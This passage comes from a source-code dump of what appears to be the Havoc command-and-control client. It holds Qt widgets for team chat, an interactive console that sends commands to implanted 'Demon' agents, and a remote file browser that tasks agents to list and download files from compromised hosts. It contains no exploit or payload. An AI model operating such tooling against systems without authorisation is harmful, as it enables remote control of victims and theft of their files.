\"+Util::ColorText::Colors::Hex::Foreground+\";\"\n            );\n\n    label->setText( HavocX::Teamserver.User );\n    connect( lineEdit, &QLineEdit::returnPressed, this, &Chat::AppendFromInput );\n\n    QMetaObject::connectSlotsByName(Form);\n}\n\nvoid HavocNamespace::UserInterface::Widgets::Chat::AppendText(const QString& Time, const QString& text) const\n{\n    QString t = Util::ColorText::Comment(Time) +\" \"+ text;\n\n    EventLogText->append( t );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::Chat::AddUserMessage(const QString Time, QString User, QString text) const\n{\n    if ( HavocX::Teamserver.User.compare( User ) == 0 )\n        this->AppendText( Time, \"[\" + Util::ColorText::UnderlineGreen( User ) + \"]\" + Util::ColorText::Bold(\" :: \") + text );\n    else\n        this->AppendText( Time, \"[\" + Util::ColorText::Underline( User ) + \"]\" + Util::ColorText::Bold(\" :: \") + text );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::Chat::AppendFromInput()\n{\n    auto text = this->lineEdit->text();\n\n    if ( ! text.isEmpty() )\n    {\n        Util::Packager::Package Package;\n\n        Util::Packager::Head_t Head;\n        Util::Packager::Body_t Body;\n\n        auto User = HavocX::Teamserver.User.toStdString();\n\n        Head.Event        = Util::Packager::Chat::Type;\n        Head.Time         = QTime::currentTime().toString(\"hh:mm:ss\").toStdString();\n        Head.User         = User;\n        Body.SubEvent     = Util::Packager::Chat::NewMessage;\n        Body.Info[ User ] = text.toHtmlEscaped().toUtf8().toBase64().toStdString();\n\n        Package.Head = Head;\n        Package.Body = Body;\n\n        HavocX::Connector->SendPackage( &Package );\n    }\n\n    this->lineEdit->clear();\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/DemonInteracted.cc",
    "content": "#include <global.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <Util/ColorText.h>\n\n#include <QDate>\n#include <QTime>\n#include <QCompleter>\n#include <QKeyEvent>\n#include <QEvent>\n#include <QStringListModel>\n#include <QScrollBar>\n\nusing namespace HavocNamespace::UserInterface::Widgets;\nusing namespace HavocNamespace::Util;\n\nDemonInteracted::DemonInput::DemonInput( QWidget* parent ) : QLineEdit( parent )\n{\n    CommandHistoryIndex = 0;\n}\n\nbool DemonInteracted::DemonInput::handleKeyPress( QKeyEvent* eventKey )\n{\n    switch (eventKey->key())\n    {\n    case Qt::Key_Tab:\n        handleTabKey();\n        return true;\n    case Qt::Key_Up:\n        handleUpKey();\n        return true;\n    case Qt::Key_Down:\n        handleDownKey();\n        return true;\n    default:\n        return false;\n    }\n}\n\nvoid DemonInteracted::DemonInput::handleTabKey()\n{\n    auto CompletedString = completer()->currentCompletion();\n    if ( ! CompletedString.isEmpty() ) {\n        setText( CompletedString );\n    }\n}\n\nvoid DemonInteracted::DemonInput::handleUpKey()\n{\n    if ( CommandHistoryIndex == 0 )  {\n        setText( \"\" );\n        return;\n    }\n\n    CommandHistoryIndex--;\n\n    if ( CommandHistoryIndex >= 1 ) {\n        setText( CommandHistory.at( CommandHistoryIndex ) );\n    } else {\n        if ( ! CommandHistory.empty() ) {\n            setText( CommandHistory.at( CommandHistoryIndex ) );\n        } else {\n            setText( \"\" );\n        }\n    }\n}\n\nvoid DemonInteracted::DemonInput::handleDownKey()\n{\n    if (CommandHistoryIndex < CommandHistory.size())\n    {\n        CommandHistoryIndex++;\n        setText(CommandHistory.at(CommandHistoryIndex - 1));\n    }\n    else\n        setText(\"\");\n}\n\nbool DemonInteracted::DemonInput::event( QEvent* e )\n{\n    if ( e->type() == e->KeyPress ) {\n        auto eventKey = dynamic_cast<QKeyEvent*>( e );\n        if ( handleKeyPress( eventKey ) ) {\n            return true;\n        }\n    }\n\n    return QLineEdit::event( e );\n}\n\nvoid DemonInteracted::DemonInput::AddCommand( const QString &Command )\n{\n    CommandHistory << Command;\n}\n\nvoid DemonInteracted::setupUi( QWidget *Form )\n{\n    this->DemonInteractedWidget = Form;\n\n    if ( Form->objectName().isEmpty() ) {\n        Form->setObjectName( QString::fromUtf8( \"Form\" ) );\n    }\n\n    Form->resize( 932, 536 );\n    gridLayout = new QGridLayout( Form );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n    gridLayout->setVerticalSpacing( 4 );\n    gridLayout->setContentsMargins( 1, 4, 1, 4 );\n\n    label = new QLabel( Form );\n    label->setObjectName( QString::fromUtf8( \"label\" ) );\n\n    gridLayout->addWidget( label, 3, 0, 1, 1 );\n\n    lineEdit = new DemonInput( Form );\n    lineEdit->setObjectName( QString::fromUtf8( \"lineEdit\" ) );\n\n    gridLayout->addWidget( lineEdit, 3, 1, 1, 1 );\n\n    Console = new QTextEdit(Form);\n    Console->setObjectName(QString::fromUtf8(\"Console\"));\n    Console->setReadOnly(true);\n    Console->setLineWrapMode( QTextEdit::LineWrapMode::NoWrap );\n    Console->setStyleSheet(\n            \"background-color: \"+Util::ColorText::Colors::Hex::Background+\";\"\n            + \"color: \"+Util::ColorText::Colors::Hex::Foreground+\";\"\n            );\n\n    gridLayout->addWidget(Console, 0, 0, 1, 2);\n\n    label_2 = new QLabel(Form);\n    label_2->setObjectName(QString::fromUtf8(\"label_2\"));\n    label_2->setTextInteractionFlags(Qt::TextSelectableByMouse);\n\n    gridLayout->addWidget(label_2, 2, 0, 1, 2);\n\n    Form->setWindowTitle(QCoreApplication::translate(\"Form\", \"Form\", nullptr));\n    lineEdit->setText(QString());\n\n    label->setText(QCoreApplication::translate(\"Form\", \">>>\", nullptr));\n    label->setStyleSheet(\"padding-bottom: 3px;\"\n                         \"padding-left: 5px;\");\n\n    if ( SessionInfo.MagicValue == DemonMagicValue )\n    {\n        for ( auto& i : HavocSpace::DemonCommands::DemonCommandList )\n        {\n            CompleterCommands << i.CommandString;\n\n            if ( i.CommandString == \"help\" )\n            {\n                for ( auto & j : HavocSpace::DemonCommands::DemonCommandList )\n                {\n                    if ( j.CommandString == \"help\" )\n                        continue;\n\n                    CompleterCommands << \"help \" + j.CommandString;\n\n                    if ( ! j.SubCommands.empty() )\n                    {\n                        for ( auto &subcommand: j.SubCommands )\n                            CompleterCommands << \"help \" + j.CommandString + \" \" + subcommand.CommandString;\n                    }\n                }\n            }\n\n            if ( ! i.SubCommands.empty() )\n            {\n                for ( auto& subcommand : i.SubCommands )\n                    CompleterCommands << i.CommandString + \" \" + subcommand.CommandString;\n            }\n        }\n\n        for ( auto& Command : HavocX::Teamserver.AddedCommands )\n        {\n            CompleterCommands << \"help \" + Command;\n            CompleterCommands << Command;\n        }\n    }\n    else\n    {\n        // 3rd party agent...\n    }\n\n    CommandCompleter = new QCompleter( CompleterCommands, this );\n    CommandCompleter->setCaseSensitivity( Qt::CaseInsensitive );\n    CommandCompleter->setCompletionMode( QCompleter::InlineCompletion );\n\n    lineEdit->setCompleter( CommandCompleter );\n\n\n    if ( this->SessionInfo.Domain.compare( \"\" ) == 0 )\n    {\n        label_2->setText( \"[\" + this->SessionInfo.User + \"/\" + this->SessionInfo.Computer + \"] \" + this->SessionInfo.Process + \"/\" + this->SessionInfo.PID + \" \" + this->SessionInfo.Arch );\n    } else {\n        label_2->setText( \"[\" + this->SessionInfo.User + \"/\" + this->SessionInfo.Computer + \"] \" + this->SessionInfo.Process + \"/\" + this->SessionInfo.PID + \" \" + this->SessionInfo.Arch + \" (\"+ this->SessionInfo.Domain + \")\" );\n    }\n\n    DemonCommands = new HavocSpace::DemonCommands;\n    DemonCommands->Teamserver = this->TeamserverName;\n    DemonCommands->DemonID    = this->SessionInfo.Name;\n    DemonCommands->MagicValue = this->SessionInfo.MagicValue;\n    DemonCommands->SetDemonConsole( this );\n\n    connect( lineEdit, &QLineEdit::returnPressed, this, &DemonInteracted::AppendFromInput );\n\n    QMetaObject::connectSlotsByName( Form );\n}\n\nvoid DemonInteracted::AppendFromInput()\n{\n    AppendText( this->lineEdit->text() );\n}\n\nvoid DemonInteracted::AppendText( const QString& text )\n{\n    if ( SessionInfo.MagicValue != DemonMagicValue )\n    {\n        for ( auto& agent : HavocX::Teamserver.ServiceAgents )\n        {\n            if ( SessionInfo.MagicValue == agent.MagicValue )\n                AgentTypeName = agent.Name;\n        }\n    }\n\n    if ( AgentTypeName.isEmpty() ) {\n        AgentTypeName = \"Demon\";\n    }\n\n    DemonCommands->Prompt = QString(\n        ColorText::Comment( CurrentDateTime() + \" [\" + HavocX::Teamserver.User + \"] \" ) +\n        ColorText::UnderlinePink( AgentTypeName ) + ColorText::Cyan(\" » \") + text\n    );\n\n    if ( ! text.isEmpty() )\n    {\n        lineEdit->CommandHistory << text;\n        lineEdit->CommandHistoryIndex = lineEdit->CommandHistory.size();\n\n        /* check if registered a command called help. if yes then exclude this. */\n        auto AgentData   = ServiceAgent();\n        auto HelpCommand = false;\n\n        if ( DemonCommands->MagicValue != DemonMagicValue )\n        {\n            for ( auto& agent : HavocX::Teamserver.ServiceAgents )\n            {\n                if ( DemonCommands->MagicValue == agent.MagicValue )\n                {\n                    AgentData = agent;\n                    AgentTypeName = agent.Name;\n                }\n            }\n        }\n\n        for ( auto & command : AgentData.Commands )\n        {\n            if ( command.Name == \"help\" )\n            {\n                HelpCommand = true;\n                break;\n            }\n        }\n\n        if ( ! HelpCommand )\n        {\n            if ( text.split( \" \" )[ 0 ].compare( \"help\" ) == 0 )\n            {\n                AppendRaw();\n                AppendRaw( DemonCommands->Prompt );\n            }\n        }\n\n        DemonCommands->DispatchCommand( true, \"\", text );\n\n        Console->verticalScrollBar()->setValue( Console->verticalScrollBar()->maximum() );\n    }\n\n    this->lineEdit->clear();\n}\n\nQString DemonInteracted::TaskInfo( bool Show, QString TaskID, const QString &text ) const\n{\n    if ( TaskID == nullptr ) {\n        TaskID = Util::gen_random( 8 ).c_str();\n    }\n\n    if ( ! Show )\n    {\n        auto TaskMessage = Util::ColorText::Cyan( \"[*]\" ) + \" \"+ Util::ColorText::Comment( \"[\" + TaskID + \"]\" ) + \" \" + Util::ColorText::Cyan( text.toHtmlEscaped() );\n        this->Console->append( TaskMessage );\n    }\n\n    return TaskID;\n}\n\nQString DemonInteracted::TaskError( const QString &text ) const\n{\n    auto TaskMessage = Util::ColorText::Red( \"[!]\" ) + \" \" + text.toHtmlEscaped();\n    this->Console->append( TaskMessage );\n    return TaskMessage;\n}\n\nvoid UserInterface::Widgets::DemonInteracted::AppendRaw(const QString& text)\n{\n    this->Console->append( text );\n}\n\nvoid DemonInteracted::AppendNoNL( const QString &text )\n{\n    QTextCursor prev_cursor = this->Console->textCursor();\n\n    this->Console->moveCursor( QTextCursor::End );\n    this->Console->insertHtml( text );\n    this->Console->setTextCursor( prev_cursor );\n}\n\nvoid DemonInteracted::AutoCompleteAdd( QString text )\n{\n    /*auto model = ( QStringListModel* ) CommandCompleter->model();\n\n    CompleterCommands << text;\n    model->setStringList( CompleterCommands );\n    CommandCompleter->setModel( model );*/\n}\n\nvoid DemonInteracted::AutoCompleteClear()\n{\n    auto model = ( QStringListModel* ) CommandCompleter->model();\n    auto list  = QStringList();\n\n    model->setStringList( list );\n\n    CommandCompleter->setModel( model );\n}\n\nvoid DemonInteracted::AutoCompleteAddList( QStringList list )\n{\n    auto model = ( QStringListModel* ) CommandCompleter->model();\n\n    model->setStringList( list );\n\n    CommandCompleter->setModel( model );\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/FileBrowser.cc",
    "content": "#include <global.hpp>\n\n#include <UserInterface/Widgets/FileBrowser.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n\n#include <QList>\n#include <spdlog/spdlog.h>\n#include <Util/Base.hpp>\n\nstatic auto JoinAtIndex( QStringList list, int index, QString sep ) -> QString\n{\n    auto string = QString();\n\n    for ( int i = 0; i < list.size(); i++ )\n    {\n        if ( i == index )\n            break;\n\n        string = string + list[ i ] + sep;\n    }\n\n    return string;\n}\n\nauto PathGetParent( QString MainPath ) -> QString\n{\n    auto Path = MainPath.toStdString();\n    auto Indx = 0;\n\n    for ( Indx = Path.size() ;; Indx-- )\n        if ( Path[ Indx ] == '\\\\' ) break;\n\n    Path = Path.substr( 0, Indx );\n\n    spdlog::info( \"Path: {}\", Path );\n\n    return QString( Path.c_str() );\n}\n\nvoid FileBrowser::setupUi( QWidget* FileBrowser )\n{\n    FileBrowserWidget = FileBrowser;\n\n    auto MenuStyle = QString(\n            \"QMenu {\"\n            \"    background-color: #282a36;\"\n            \"    color: #f8f8f2;\"\n            \"    border: 1px solid #44475a;\"\n            \"}\"\n            \"QMenu::separator {\"\n            \"    background: #44475a;\"\n            \"}\"\n            \"QMenu::item:selected {\"\n            \"    background: #44475a;\"\n            \"}\"\n            \"QAction {\"\n            \"    background-color: #282a36;\"\n            \"    color: #f8f8f2;\"\n            \"}\"\n    );\n\n    if ( FileBrowser->objectName().isEmpty() )\n        FileBrowser->setObjectName( QString::fromUtf8( \"FileBrowser\" ) );\n\n    gridLayout = new QGridLayout( FileBrowser );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n    splitter = new QSplitter( FileBrowser );\n    splitter->setObjectName( QString::fromUtf8( \"splitter\" ) );\n    splitter->setOrientation( Qt::Horizontal );\n\n    FileBrowserTree = new QTreeWidget( splitter );\n    FileBrowserTree->setObjectName( QString::fromUtf8( \"FileBrowserTree\" ) );\n\n    FileBrowserListWidget = new QWidget( splitter );\n    FileBrowserListWidget->setObjectName( QString::fromUtf8( \"FileBrowserListWidget\" ) );\n\n    formLayout = new QFormLayout( FileBrowserListWidget );\n    formLayout->setObjectName( QString::fromUtf8( \"formLayout\" ) );\n\n    ButtonGoUpDir = new QPushButton( FileBrowserListWidget );\n    ButtonGoUpDir->setObjectName( QString::fromUtf8( \"ButtonGoUpDir\" ) );\n\n    formLayout->setWidget( 0, QFormLayout::LabelRole, ButtonGoUpDir );\n\n    InputFileBrowserPath = new QLineEdit( FileBrowserListWidget );\n    InputFileBrowserPath->setObjectName( QString::fromUtf8( \"InputFileBrowserPath\" ) );\n\n    formLayout->setWidget( 0, QFormLayout::FieldRole, InputFileBrowserPath );\n\n    TableFileBrowser = new QTableWidget( FileBrowserListWidget );\n    TableFileBrowser->setObjectName( QString::fromUtf8( \"TableFileBrowser\" ) );\n    TableFileBrowser->setEnabled( true );\n    TableFileBrowser->setShowGrid( false );\n    TableFileBrowser->setSortingEnabled( false );\n    TableFileBrowser->setWordWrap( true );\n    TableFileBrowser->setCornerButtonEnabled( true );\n    TableFileBrowser->horizontalHeader()->setVisible( true );\n    TableFileBrowser->setSelectionBehavior( QAbstractItemView::SelectRows );\n    TableFileBrowser->setContextMenuPolicy( Qt::CustomContextMenu );\n    TableFileBrowser->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch );\n    TableFileBrowser->verticalHeader()->setVisible(false);\n    TableFileBrowser->verticalHeader()->setStretchLastSection( false );\n    TableFileBrowser->verticalHeader()->setDefaultSectionSize( 12 );\n    TableFileBrowser->setFocusPolicy( Qt::NoFocus );\n\n    if ( TableFileBrowser->columnCount() < 3 )\n        TableFileBrowser->setColumnCount( 3 );\n\n    TableFileBrowser->setHorizontalHeaderItem( 0, new QTableWidgetItem( \"Name\" ) );\n    TableFileBrowser->setHorizontalHeaderItem( 1, new QTableWidgetItem( \"Size\" ) );\n    TableFileBrowser->setHorizontalHeaderItem( 2, new QTableWidgetItem( \"Modified\" ) );\n\n    formLayout->setWidget( 1, QFormLayout::SpanningRole, TableFileBrowser );\n\n    splitter->addWidget( FileBrowserTree );\n    splitter->addWidget( FileBrowserListWidget );\n    splitter->setSizes( QList<int>() << 1 << 250 );\n\n    gridLayout->addWidget( splitter, 0, 0, 1, 1 );\n\n    MenuFileBrowserTable = new QMenu( this );\n    MenuFileBrowserTable->setStyleSheet( MenuStyle );\n    // MenuFileBrowserTable->addAction( \"Remove\", this, &FileBrowser::onTableMenuRemove );\n    MenuFileBrowserTable->addAction( \"Download\", this, &FileBrowser::onTableMenuDownload );\n    MenuFileBrowserTable->addAction( \"Reload\", this, &FileBrowser::onTableMenuReload );\n    // MenuFileBrowserTable->addAction( \"Mkdir\",  this, &FileBrowser::onTableMenuMkdir );\n    TableFileBrowser->addAction( MenuFileBrowserTable->menuAction() );\n\n    MenuFileBrowserTree  = new QMenu( this );\n    MenuFileBrowserTree->setStyleSheet( MenuStyle );\n    // MenuFileBrowserTree->addAction( \"List Drives\", this, &FileBrowser::onTreeMenuListDrives );\n    // MenuFileBrowserTree->addAction( \"Remove\",      this, &FileBrowser::onTreeMenuRemove );\n    // MenuFileBrowserTree->addAction( \"Reload\",      this, &FileBrowser::onTreeMenuReload );\n    // MenuFileBrowserTree->addAction( \"Mkdir\",       this, &FileBrowser::onTreeMenuMkdir  );\n    FileBrowserTree->addAction( MenuFileBrowserTree->menuAction() );\n\n    retranslateUi( );\n\n    QObject::connect( TableFileBrowser, &QTableWidget::cellDoubleClicked, this, &FileBrowser::onTableDoubleClick );\n    QObject::connect( TableFileBrowser, &QTableWidget::customContextMenuRequested, this, &FileBrowser::onTableContextMenu );\n    QObject::connect( FileBrowserTree, &QTreeWidget::customContextMenuRequested, this, &FileBrowser::onTableContextMenu );\n    QObject::connect( ButtonGoUpDir, &QPushButton::clicked, this, &FileBrowser::onButtonUp );\n    QObject::connect( InputFileBrowserPath, &QLineEdit::returnPressed, this, &FileBrowser::onInputPath );\n\n    QMetaObject::connectSlotsByName( FileBrowser );\n}\n\nvoid FileBrowser::retranslateUi()\n{\n    auto Pix = QPixmap( \":/icons/FileBrowserFolder\" );\n    FileBrowserWidget->setWindowTitle( QCoreApplication::translate(\"FileBrowser\", \"FileBrowser\", nullptr));\n\n    FileBrowserTree->headerItem()->setText( 0, \"Files\" );\n\n    ButtonGoUpDir->setIcon( QIcon( Pix ) );\n    ButtonGoUpDir->setIconSize( Pix.rect().size() );\n}\n\nvoid FileBrowser::AddData( QJsonDocument JsonData )\n{\n    auto Path  = QString();\n    auto Files = QJsonDocument();\n    auto Data  = FileDirData();\n\n    if ( ! JsonData[ \"Path\" ].isString() )\n    {\n        spdlog::error( \"[FileBrowser::AddData] Path is not string\" );\n        return;\n    }\n\n    if ( ! JsonData[ \"Files\" ].isArray() )\n    {\n        spdlog::error( \"[FileBrowser::AddData] Files is not an array\" );\n        return;\n    }\n\n    Path  = QByteArray::fromBase64( JsonData[ \"Path\" ].toString().toLocal8Bit() );\n    Path.replace( \"\\\\*\", \"\" );\n\n    for ( int i = 0; i < DirData.size(); i++ )\n    {\n        if ( Path.compare( DirData[ i ].Path ) == 0 )\n        {\n            spdlog::info( \"Path already exists. remove it\" );\n            DirData.erase( DirData.begin() + i );\n        }\n    }\n\n    Files = QJsonDocument( JsonData[ \"Files\" ].toArray() );\n    Data  = FileDirData {\n            .Path = Path,\n            .Data = Files\n    };\n\n    if ( Files.isArray() )\n    {\n        for ( auto data : Files.array() )\n        {\n            if ( data.isObject() )\n            {\n                auto Type     = data.toObject()[ \"Type\" ].toString();\n                auto Name     = data.toObject()[ \"Name\" ].toString();\n                auto Size     = data.toObject()[ \"Size\" ].toString();\n                auto Modified = data.toObject()[ \"Modified\" ].toString();\n                auto fileData = FileData{\n                        .Path     = Path,\n                        .Type     = Type,\n                        .Name     = Name,\n                        .Size     = Size,\n                        .Modified = Modified,\n                };\n\n                Data.Files.push_back( fileData );\n            }\n            else spdlog::error( \"Files isn't array\" );\n        }\n    }\n    else spdlog::error( \"Files isn't array\" );\n\n    DirData.push_back( Data );\n\n    for ( auto& data : Data.Files )\n    {\n        TableAddData( data );\n        // TreeAddData( data );\n    }\n\n    TreeUpdate();\n\n    Path.replace( \"\\\\*\", \"\" );\n    InputFileBrowserPath->setText( Path );\n}\n\nvoid FileBrowser::TreeAddData( FileData Data )\n{\n    spdlog::info( \"Append tree\" );\n}\n\nvoid FileBrowser::TableAddData( FileData Data )\n{\n    auto ItemName     = new FileBrowserTableItem();\n    auto ItemSize     = new FileBrowserTableItem();\n    auto ItemModified = new FileBrowserTableItem();\n\n    if ( TableFileBrowser->rowCount() < 1 )\n        TableFileBrowser->setRowCount( 1 );\n    else\n        TableFileBrowser->setRowCount( TableFileBrowser->rowCount() + 1 );\n\n    if ( Data.Type.compare( \"dir\" ) == 0 )\n        ItemName->setIcon( QIcon( \":/icons/FileBrowserFolder\" ) );\n    else\n        ItemName->setIcon( QIcon( \":/icons/FileBrowserFile\" ) );\n\n    ItemName->setText( Data.Name );\n    ItemName->setFlags( ItemName->flags() ^ Qt::ItemIsEditable );\n    ItemName->setTextAlignment( Qt::AlignLeft );\n\n    ItemSize->setText( Data.Size );\n    ItemSize->setFlags( ItemSize->flags() ^ Qt::ItemIsEditable );\n    ItemSize->setTextAlignment( Qt::AlignLeft );\n\n    ItemModified->setText( Data.Modified );\n    ItemModified->setFlags( ItemModified->flags() ^ Qt::ItemIsEditable );\n    ItemModified->setTextAlignment( Qt::AlignLeft );\n\n    ItemName->Data     = Data;\n    ItemSize->Data     = Data;\n    ItemModified->Data = Data;\n\n    TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 0, ItemName );\n    TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 1, ItemSize );\n    TableFileBrowser->setItem( TableFileBrowser->rowCount() - 1, 2, ItemModified );\n}\n\nvoid FileBrowser::onTableDoubleClick( int row, int column )\n{\n    auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( row, column ) );\n\n    if ( Item->Data.Type.compare( \"dir\" ) == 0 )\n    {\n\n        QString Path = Item->Data.Path + \"\\\\\" + Item->Data.Name;\n        TableClear();\n        ChangePathAndSendRequest(Path );\n        return;\n    }\n\n}\n\n\nvoid FileBrowser::onTreeDoubleClick()\n{\n\n}\n\nvoid FileBrowser::ChangePathAndSendRequest( QString Path )\n{\n    Path.replace( \"\\\\*\", \"\" );\n\n    InputFileBrowserPath->setText( Path );\n\n    for ( auto& Session : HavocX::Teamserver.Sessions )\n    {\n        if ( Session.Name.compare( SessionID ) == 0 )\n        {\n            Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), \"dir;ui\", Path );\n        }\n    }\n\n}\n\nvoid FileBrowser::TableClear()\n{\n    // TODO: free items\n    for ( int i = TableFileBrowser->rowCount() - 1; i >= 0; i-- )\n        TableFileBrowser->removeRow( i );\n}\n\nvoid FileBrowser::onButtonUp()\n{\n    auto Path = PathGetParent( InputFileBrowserPath->text() );\n\n    TableClear();\n    ChangePathAndSendRequest( Path );\n}\nvoid FileBrowser::onTableMenuDownload(){\n    auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( TableFileBrowser->currentRow(), 0 ) );\n\n    if ( Item->Data.Type.compare( \"dir\" ) == 0 )\n    {\n\n\n        auto box = QMessageBox();\n\n        box.setWindowTitle(  \"FileBrowser error\" );\n        box.setText( \"Please select the file type correctly\" );\n        box.setIcon( QMessageBox::NoIcon );\n        box.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n        box.exec();\n        return;\n\n    }else{\n\n        QString Path = Item->Data.Path + \"\\\\\" + Item->Data.Name;\n        for ( auto& Session : HavocX::Teamserver.Sessions )\n        {\n            if ( Session.Name.compare( SessionID ) == 0 )\n            {\n                QString TaskID = Session.InteractedWidget->TaskInfo(true,Util::gen_random( 8 ).c_str(),\"Tasked demon to download a file \"+Path);\n                Session.InteractedWidget->DemonCommands->Execute.FS( TaskID, \"download\", Path.toLocal8Bit().toBase64() );\n\n\n            }\n        }\n\n\n        return;\n    }\n}\n\n\nvoid FileBrowser::onTableContextMenu( const QPoint &pos )\n{\n    if ( ! TableFileBrowser->itemAt( pos ) )\n        return;\n\n    MenuFileBrowserTable->popup( TableFileBrowser->horizontalHeader()->viewport()->mapToGlobal( pos ) );\n}\n\nvoid FileBrowser::onTreeContextMenu( const QPoint &pos )\n{\n    /*if ( ! FileBrowserTree->itemAt( pos ) )\n        return;\n\n    MenuFileBrowserTree->popup( TableFileBrowser->horizontalHeader()->viewport()->mapToGlobal( pos ) );*/\n}\n\nvoid FileBrowser::onTableMenuMkdir()\n{\n\n}\n\nvoid FileBrowser::onTableMenuReload()\n{\n    auto Item = ( ( FileBrowserTableItem* ) TableFileBrowser->item( TableFileBrowser->currentRow(), 0 ) );\n    if(!Item->Data.Path.isEmpty()){\n        QString Path = Item->Data.Path;\n\n        Path.replace( \"\\\\*\", \"\" );\n\n        InputFileBrowserPath->setText( Path );\n\n        for ( auto& Session : HavocX::Teamserver.Sessions )\n        {\n            if ( Session.Name.compare( SessionID ) == 0 )\n            {\n                TableClear();\n                Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), \"dir;ui\", Path );\n            }\n        }\n    }\n}\n\nvoid FileBrowser::onTableMenuRemove()\n{\n\n}\n\nvoid FileBrowser::onTreeMenuListDrives()\n{\n\n}\n\nvoid FileBrowser::onTreeMenuMkdir()\n{\n\n}\n\nvoid FileBrowser::onTreeMenuReload()\n{\n\n}\n\nvoid FileBrowser::onTreeMenuRemove()\n{\n\n}\n\nvoid FileBrowser::onInputPath()\n{\n    auto Path = InputFileBrowserPath->text();\n\n    TableClear();\n    ChangePathAndSendRequest( Path );\n}\n\nvoid FileBrowser::TreeUpdate()\n{\n    TreeClear( );\n\n    for ( auto& Data : DirData )\n    {\n        auto Split = Data.Path.split( \"\\\\\" );\n\n        // check if any Dir contains an empty space. if so then remove it.\n        for ( int i = 0; i < Split.size(); i++ )\n        {\n            if ( Split[ i ].compare( \"\" ) == 0 )\n                Split.removeAt( i );\n        }\n\n        for ( int i = 0; i < Split.size(); i++ )\n        {\n            if ( i == 0 )\n            {\n                TreeAddDisk( Split[ i ] + \"\\\\\" );\n                continue;\n            }\n\n\n            auto Parent = JoinAtIndex( Split, i, \"\\\\\" );\n            auto Item   = new FileBrowserTreeItem;\n\n            Item->setText( 0, Split[ i ] );\n            Item->setIcon( 0, QIcon( \":/icons/FileBrowserFolder\" ) );\n            Item->ParentPath = Parent + Split[ i ] + \"\\\\\";\n\n            TreeAddChildToParent( Parent, Item );\n        }\n\n        for ( auto& subData : Data.Files )\n        {\n            if ( subData.Type.compare( \"dir\" ) == 0 )\n            {\n                auto Path = subData.Path;\n                auto Item = new FileBrowserTreeItem;\n\n                auto SubPath = subData.Path.replace( \"\\\\\\\\\", \"\\\\\" );\n                if ( ! SubPath.endsWith( '\\\\' ) )\n                    SubPath = subData.Path + \"\\\\\";\n\n                auto SubName = subData.Name.replace( \"\\\\\\\\\", \"\\\\\" );;\n                if ( ! SubName.endsWith( '\\\\' ) )\n                    SubName = subData.Name + \"\\\\\";\n\n                Item->setText( 0, subData.Name );\n                Item->setIcon( 0, QIcon( \":/icons/FileBrowserFolder\" ) );\n\n                Item->ParentPath = SubPath + SubName;\n\n                TreeAddChildToParent( Path, Item );\n            }\n        }\n    }\n\n    FileBrowserTree->expandAll();\n}\n\nvoid FileBrowser::TreeClear( )\n{\n    FileBrowserTree->clear();\n}\n\nauto FileBrowser::TreeSearchPath( QString ParentPath ) -> FileBrowserTreeItem*\n{\n    auto Iterator = QTreeWidgetItemIterator( FileBrowserTree );\n    auto Item     = ( ( FileBrowserTreeItem* ) nullptr );\n\n    while ( *Iterator )\n    {\n        Item = ( ( FileBrowserTreeItem* ) ( *Iterator ) );\n\n        if ( ( Item->ParentPath.compare( ParentPath ) == 0 ) )\n            return Item;\n\n        ++Iterator;\n    }\n\n    return nullptr;\n}\n\nvoid FileBrowser::TreeAddDisk( QString Disk )\n{\n    if ( ! TreeSearchPath( Disk ) )\n    {\n        auto DiskItem = new FileBrowserTreeItem;\n\n        DiskItem->setIcon( 0, QIcon( \":/icons/FileBrowserHardDisk\" ) );\n        DiskItem->setText( 0, Disk );\n        DiskItem->ParentPath = Disk;\n\n        FileBrowserTree->addTopLevelItem( DiskItem );\n    }\n}\n\nvoid FileBrowser::TreeAddChildToParent( QString ParentPath, FileBrowserTreeItem* DataItem )\n{\n    auto Parent = TreeSearchPath( ParentPath );\n\n    if ( Parent )\n    {\n        if ( TreePathExists( DataItem->ParentPath ) )\n            return;\n\n        Parent->addChild( DataItem );\n        return;\n    }\n}\n\nauto FileBrowser::TreePathExists( QString Path ) -> bool\n{\n    auto Iterator = QTreeWidgetItemIterator( FileBrowserTree );\n    auto Item     = ( ( FileBrowserTreeItem* ) nullptr );\n\n    while ( *Iterator )\n    {\n        Item = ( ( FileBrowserTreeItem* ) ( *Iterator ) );\n\n        if ( ( Item->ParentPath.compare( Path ) == 0 ) )\n            return true;\n\n        ++Iterator;\n    }\n    return false;\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/ListenersTable.cc",
    "content": "#include <global.hpp>\n#include <QHeaderView>\n\n#include <UserInterface/Widgets/ListenerTable.hpp>\n#include <UserInterface/Dialogs/Listener.hpp>\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <UserInterface/Widgets/Chat.hpp>\n#include <UserInterface/SmallWidgets/EventViewer.hpp>\n#include <Util/ColorText.h>\n\n#include <QMap>\n\nvoid HavocNamespace::UserInterface::Widgets::ListenersTable::setupUi( QWidget* Form )\n{\n    this->ListenerWidget = Form;\n\n    if ( Form->objectName().isEmpty() )\n        Form->setObjectName( QString::fromUtf8( \"ListenerTable\" ) );\n\n    gridLayout = new QGridLayout( Form );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n    gridLayout->setContentsMargins( 0, 0, 0, 3 );\n\n    buttonAdd = new QPushButton( Form );\n    buttonAdd->setObjectName( QString::fromUtf8( \"pushButton_New_Profile\" ) );\n    gridLayout->addWidget( buttonAdd, 1, 1, 1, 1 );\n\n    buttonRemove = new QPushButton( Form );\n    buttonRemove->setObjectName( QString::fromUtf8( 